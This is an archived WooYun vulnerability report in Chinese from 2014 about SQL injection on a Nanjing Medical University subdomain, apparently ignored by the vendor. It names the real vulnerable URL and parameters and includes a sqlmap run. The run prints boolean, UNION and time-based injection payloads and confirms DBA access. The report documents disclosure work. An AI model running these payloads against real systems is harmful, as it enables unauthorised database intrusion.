当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069794

漏洞标题:南京医科大学分站sql注入

相关厂商:南京医科大学

漏洞作者: chaos

提交时间:2014-07-26 21:10

修复时间:2014-07-31 21:12

公开时间:2014-07-31 21:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-26: 细节已通知厂商并且等待厂商处理中
2014-07-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

http://hdy.njmu.edu.cn/jnt/jnt_grda_jnwx_read.php?id=319&currentJNTId=58


id参数和currentJNTId参数
dba权限
C:\Users\tea>sqlmap.py -u "http://hdy.njmu.edu.cn/jnt/jnt_grda_jnwx_read.php?id=
319&currentJNTId=58" --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:42:45
[16:42:46] [INFO] resuming back-end DBMS 'mysql'
[16:42:46] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: currentJNTId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=319&currentJNTId=58 AND 1927=1927
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: id=319&currentJNTId=58 UNION ALL SELECT NULL,NULL,CONCAT(0x71787061
71,0x4c72454d79516848434e,0x7177656c71),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=319&currentJNTId=58 AND SLEEP(5)
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=319 AND 9497=9497&currentJNTId=58
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: id=-2487 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178706171,0x725a
576756624f6c6f6c,0x7177656c71),NULL,NULL#&currentJNTId=58
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=319 AND SLEEP(5)&currentJNTId=58
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: currentJNTId, type: Unescaped numeric (default)
[1] place: GET, parameter: id, type: Unescaped numeric
[q] Quit
> 1
[16:42:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.11
[16:42:55] [INFO] testing if current user is DBA
[16:42:55] [INFO] fetching current user
current user is DBA: True
[16:42:55] [INFO] fetched data logged to text files under 'C:\Users\tea\.sqlmap\
output\hdy.njmu.edu.cn'
[*] shutting down at 16:42:55

漏洞证明:

捕获1.PNG

修复方案:

版权声明:转载请注明来源 chaos@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-31 21:12

厂商回复:

最新状态:

暂无